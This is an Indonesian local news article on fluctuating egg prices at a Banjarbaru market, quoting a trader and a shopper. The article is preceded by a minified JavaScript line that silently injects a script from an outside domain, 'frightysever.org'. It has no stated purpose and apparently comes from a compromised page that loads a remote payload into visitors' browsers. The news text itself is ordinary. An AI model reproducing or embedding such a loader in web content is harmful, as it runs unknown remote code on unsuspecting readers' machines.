(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ekonomi

Telur Ras Turun Naik di Pasar Bauntung Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Telur yang acap kali masuk dalam daftar sembilan bahan pokok (Sembako) belakangan mengalami naik turun harga yang cukup signifikan.

Seperti pantauan Kanalkalimantan, Sabtu (19/10/2024) siang, harga telur ayam ras di Pasar Bauntung Banjarbaru berada di kisaran Rp28 ribu per kilogram.

Hal tersebut diungkapkan oleh salah satu pedagang telur Darmanto. Dimana kata dia, harga 1 kilogram telur ayam ras sebelumnya sempat mengalami kenaikan hingga Rp32 ribu per kilogram.

“Sebelumnya malah di harga Rp32 ribu per kilogram, terus turun di angka Rp27 ribu, sampai sekarang naik lagi hingga Rp28 ribu per kilogram,” ujar Darmanto kepada Kanalkalimantan.com.

Kisaran harga telur ayam ras yang berada di angka Rp27-Rp28 ribu itu menurutnya masih relatif stabil, tidak murah ataupun mahal.

“Stabil saja, artinya tidak juga mahal tidak juga murah,” ungkapnya.

Meski begitu, Darmanto menjamin ketersediaan stok telur ayam ras masih aman di pasaran, sebab telur yang ia jual diambil langsung dari peternak ayam telur di Banjarbaru dan Pelaihari.

“Stok aman karena saya mengambil dari empat distributor peternak telur ayam langsung, ada dari Palam, Batibati, Cindai Alus dan lokal lainnya,” sambungnya.

Sementara itu, salah satu pembeli telur di lapak milik Darmanto, mengatakan setiap minggu dirinya selalu pergi ke pasar untuk membeli kebutuhan rumah tangga, salah satunya telur.

“Selama ini tidak ada kenaikan harga yang terlalu signifikan, karena mahalnya harga di sini (di Banjarbaru) wajar-wajar saja jika dibandingkan dengan pulau Jawa yang mahalnya tetap sama,” ucap Linda.

Dirinya mengaku acap kali membeli satu tray telur ayam ras dan satu tray telur bebek untuk stok di rumah.

“Kalau telur harganya murah, telur bebek malah kurang dari Rp100 ribu harganya, jadi telur ayam satu tray dan bebek satu tray saya beli untuk konsumsi di rumah,” tuntas Linda. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie